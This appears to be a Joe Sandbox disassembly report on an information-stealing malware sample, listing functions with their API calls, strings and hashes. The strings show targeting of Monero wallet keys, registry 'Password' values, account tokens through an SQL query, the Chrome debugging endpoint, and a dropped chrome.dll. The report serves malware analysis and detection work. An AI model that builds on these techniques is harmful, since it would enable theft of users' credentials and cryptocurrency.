Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: bd4c79d318db1ad959f2e248253705a606a79c40142e72a40279aaa612861d25
Instruction ID: d0077ad2edc02528ec08b31accd7f4372f6ba4813393e9ed77d550f4ae6f8606
Opcode Fuzzy Hash: bd4c79d318db1ad959f2e248253705a606a79c40142e72a40279aaa612861d25
Instruction Fuzzy Hash: AF514DB1D5011C5BCB15EB61DDA6FED733CAB50304F4045DDB30A62092EE386B98CAAA

Function 004E9A50 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(00500AF6,00000001,00000000,00000000,00000000), ref: 004E9A6A
InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 004E9AAB
InternetCloseHandle.WININET(00000000), ref: 004E9AC7

Strings

"ws://, xrefs: 004E9B84
"webSocketDebuggerUrl":, xrefs: 004E9B4B
http://localhost:9229/json, xrefs: 004E9A9F

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$Open$CloseHandle
String ID: "webSocketDebuggerUrl":$"ws://$http://localhost:9229/json
API String ID: 3289985339-2144369209
Opcode ID: 2f45c1682dbb7d0b60eb35e1d40fda76b0f5551cbfae96c5fac0e7c021cab54a
Instruction ID: 15c118ce9e85331c3bb982f9a5f09cefb8634aeff52e15b7e385c40a932545de
Opcode Fuzzy Hash: 2f45c1682dbb7d0b60eb35e1d40fda76b0f5551cbfae96c5fac0e7c021cab54a
Instruction Fuzzy Hash: A9412035A1025CAFCB14DF95CC95FED7774BB88740F104199F509AA1D0CBB8AE80CB68

Function 004E7630 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004E7330: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 004E739A
Part of subcall function 004E7330: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004E7411
Part of subcall function 004E7330: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 004E746D
Part of subcall function 004E7330: GetProcessHeap.KERNEL32(00000000,?), ref: 004E74B2
Part of subcall function 004E7330: HeapFree.KERNEL32(00000000), ref: 004E74B9

lstrcat.KERNEL32(00000000,0050192C), ref: 004E7666
lstrcat.KERNEL32(00000000,00000000), ref: 004E76A8
lstrcat.KERNEL32(00000000, : ), ref: 004E76BA
lstrcat.KERNEL32(00000000,00000000), ref: 004E76EF
lstrcat.KERNEL32(00000000,00501934), ref: 004E7700
lstrcat.KERNEL32(00000000,00000000), ref: 004E7733
lstrcat.KERNEL32(00000000,00501938), ref: 004E774D
task.LIBCPMTD ref: 004E775B

Strings

: , xrefs: 004E76AE

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: b4998c20ca0133f9190d474867f3df9a62157f14658581ef7992ee4a73564260
Instruction ID: 61876cfb86f820af94ab3d832aceeecddc627c77218cee6168b61d0e83326689
Opcode Fuzzy Hash: b4998c20ca0133f9190d474867f3df9a62157f14658581ef7992ee4a73564260
Instruction Fuzzy Hash: 5F315271A08108DBDF09EBA1DC95EFE7779BB84305B10820EF106B72A0DA3CA945CB59

Function 004F8290 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0145E010,00000000,?,00500E14,00000000,?,00000000), ref: 004F82C0
RtlAllocateHeap.NTDLL(00000000), ref: 004F82C7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 004F82E8
__aulldiv.LIBCMT ref: 004F8302
__aulldiv.LIBCMT ref: 004F8310
wsprintfA.USER32 ref: 004F833C

Strings

%d MB, xrefs: 004F8333
@, xrefs: 004F82DD

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 7045acc58df80c1678ff17867035305f998b726c820834fbb2891bee6207a43a
Instruction ID: 4def1265023d1da3712b72b709b50cdea7c8b3fa779444d242b0df35df55cead
Opcode Fuzzy Hash: 7045acc58df80c1678ff17867035305f998b726c820834fbb2891bee6207a43a
Instruction Fuzzy Hash: F421F9B1E44208ABDB04DFD5CC45FAEB7B9FB44B14F104619F715BB280C77959018BA9

Function 004E60F0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAAB0: lstrcpy.KERNEL32(?,00000000), ref: 004FAAF6

Part of subcall function 004E4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004E4889
Part of subcall function 004E4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 004E4899

InternetOpenA.WININET(00500DFB,00000001,00000000,00000000,00000000), ref: 004E615F
StrCmpCA.SHLWAPI(?,0145E888), ref: 004E6197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004E61DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 004E6203
InternetReadFile.WININET(?,?,00000400,?), ref: 004E622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 004E625A
CloseHandle.KERNEL32(?,?,00000400), ref: 004E6299
InternetCloseHandle.WININET(?), ref: 004E62A3
InternetCloseHandle.WININET(00000000), ref: 004E62B0

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 38c538d8a728081d00a3c4bef4ead02790f92d739f028beca6e0026c779bbee9
Instruction ID: 1936503660db1ab69b783554d8d097f96fb9f87057da2e184ec460ca1cea2da5
Opcode Fuzzy Hash: 38c538d8a728081d00a3c4bef4ead02790f92d739f028beca6e0026c779bbee9
Instruction Fuzzy Hash: 4D5152B1A0020CABDB24DF95CC45FEE7779AB44345F008199F709A71C0DB786A89CF69

Function 0056012E Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0056024D
___TypeMatch.LIBVCRUNTIME ref: 0056035B
CatchIt.LIBVCRUNTIME ref: 005603AC
CallUnexpected.LIBVCRUNTIME ref: 005604C8

Strings

csm, xrefs: 00560284
csm, xrefs: 0056016B
csm, xrefs: 005601D8

Memory Dump Source

Source File: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: CallCatchMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2356445960-393685449
Opcode ID: 0aa7d8e53ae69f4e65a14af659269dcd6c8d533d9c3592b436de8e99f8465a7b
Instruction ID: 06ad7b725b57d686aa4144af296c951ac2542190995cff15f6e867a0a730a3e7
Opcode Fuzzy Hash: 0aa7d8e53ae69f4e65a14af659269dcd6c8d533d9c3592b436de8e99f8465a7b
Instruction Fuzzy Hash: 1EB1CC3580020AEFCF25EFA4C8899AFBFB5FF44312F10556AE9116B292D730DA51CB91

Function 004E7330 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 004E739A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004E7411
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 004E746D
GetProcessHeap.KERNEL32(00000000,?), ref: 004E74B2
HeapFree.KERNEL32(00000000), ref: 004E74B9
task.LIBCPMTD ref: 004E75B5

Strings

Password, xrefs: 004E7461

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 8d0f1de2991cb1ab3b8f47de54efd86b07f2109694dfdd92b02a70d76d2d8399
Instruction ID: b5e4fcf26f223655eea5b6e5f4f4af49c836f8418b3d97a8aff5893cc33ba710
Opcode Fuzzy Hash: 8d0f1de2991cb1ab3b8f47de54efd86b07f2109694dfdd92b02a70d76d2d8399
Instruction Fuzzy Hash: 6C612CB180416C9BDB24DB51CC41FDAB7B8BF44305F0085EAE649A6281EB746FC9CFA5

Function 004EBA50 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

Part of subcall function 004FAC30: lstrcpy.KERNEL32(00000000,?), ref: 004FAC82
Part of subcall function 004FAC30: lstrcat.KERNEL32(00000000), ref: 004FAC92

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

Part of subcall function 004FAAB0: lstrcpy.KERNEL32(?,00000000), ref: 004FAAF6

lstrlen.KERNEL32(00000000), ref: 004EBC6F

Part of subcall function 004F8FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004F8FE2

StrStrA.SHLWAPI(00000000,AccountId), ref: 004EBC9D
lstrlen.KERNEL32(00000000), ref: 004EBD75
lstrlen.KERNEL32(00000000), ref: 004EBD89

Strings

AccountId, xrefs: 004EBC94
AccountTokens, xrefs: 004EBA8A
SELECT service, encrypted_token FROM token_service, xrefs: 004EBBBB
AccountTokens, xrefs: 004EBB19

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 0f65e3e0925b8f3120f83c906e38fc35c0b9415f80a15a7327d4ad074ceffa71
Instruction ID: ee2f553343ba744ed67432924ea77c3c11579a01bfb50733dd1e615a28c4b5ee
Opcode Fuzzy Hash: 0f65e3e0925b8f3120f83c906e38fc35c0b9415f80a15a7327d4ad074ceffa71
Instruction Fuzzy Hash: B6B130B191010C9BCB14FBA1CCA6EFE7739AF54305F40455EF60A63191EF386A58CB6A

Function 004F6A10 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 004F6A14
ExitProcess.KERNEL32 ref: 004F6A45
ExitProcess.KERNEL32 ref: 004F6A4F
ExitProcess.KERNEL32 ref: 004F6A59
ExitProcess.KERNEL32 ref: 004F6A63
ExitProcess.KERNEL32 ref: 004F6A6D

Strings

*, xrefs: 004F6A2C

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: cef06b57a03bec826d590fce3b3b3ad269fcaeed5b971d2de0b2e77c1cacbff3
Instruction ID: 8d9969cf622e33cc55135dee9bc213d913e07ed5c490057bdf33b83162f6a37b
Opcode Fuzzy Hash: cef06b57a03bec826d590fce3b3b3ad269fcaeed5b971d2de0b2e77c1cacbff3
Instruction Fuzzy Hash: DFF05430D0C20DEFD3489FE4E809B6C7B30EB85707F1182A5F719AA290C6784A50DB69

Function 004F08A0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004F9850: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,004F08DC,C:\ProgramData\chrome.dll), ref: 004F9871

Part of subcall function 004EA090: LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll), ref: 004EA098

StrCmpCA.SHLWAPI(00000000,01458E60), ref: 004F0922
StrCmpCA.SHLWAPI(00000000,01458F50), ref: 004F0B79
StrCmpCA.SHLWAPI(00000000,01458F80), ref: 004F0A0C

Part of subcall function 004FAAB0: lstrcpy.KERNEL32(?,00000000), ref: 004FAAF6

DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 004F0C35

Strings

C:\ProgramData\chrome.dll, xrefs: 004F0C30
C:\ProgramData\chrome.dll, xrefs: 004F08CD

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$CreateDeleteLibraryLoad
String ID: C:\ProgramData\chrome.dll$C:\ProgramData\chrome.dll
API String ID: 585553867-663540502
Opcode ID: 88cfa349fd91cf52b430171c6d73b40d1da59069a3fe8d10d4f82837cd1afcf5
Instruction ID: dfd876c4b7c9c9c9a29b63ed5f5361d52b61ec5349f5689ea22068199024a634
Opcode Fuzzy Hash: 88cfa349fd91cf52b430171c6d73b40d1da59069a3fe8d10d4f82837cd1afcf5
Instruction Fuzzy Hash: 2BA18571B002489FCB18EF65C996EBD7776FF94304F10812DE50A4F292DA349A19CB96

Function 004E9E30 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 163stringsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004F8CF0: GetSystemTime.KERNEL32(00500E1B,0145A610,005005B6,?,?,004E13F9,?,0000001A,00500E1B,00000000,?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004F8D16

wsprintfA.USER32 ref: 004E9E7F
